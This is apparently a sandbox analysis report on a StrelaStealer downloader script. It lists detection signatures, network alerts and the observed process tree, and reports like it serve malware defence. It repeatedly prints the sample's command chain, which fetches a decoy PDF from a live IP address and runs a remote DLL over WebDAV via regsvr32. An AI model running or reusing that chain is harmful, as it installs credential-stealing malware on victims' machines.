Edit tour

Windows Analysis Report
2067419799306291220.js

Overview

General Information

Sample name:	2067419799306291220.js
Analysis ID:	1588859
MD5:	7dc103d50664fb6e9f06b1120485bbc6
SHA1:	a5a6363de1ffe96014ed1c295515a7c59a971e55
SHA256:	460a3f60ffcbb7cd45890f26780ecb226d1dba38ae7b6277144021d2b63e96a3
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2724 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4944 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7660 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7856 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1756,i,727159845177561612,12643622028532532394,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7440 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7524 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7720 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7032	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4944, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4944, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7524, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4944, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7524, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7720, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7524, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll, ProcessId: 2724, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:40.888130+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49708	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:45.119504+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49730	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:40.888130+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49708	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2067419799306291220.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2067419799306291220.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2067419799306291220.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49708 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49730 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:24:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 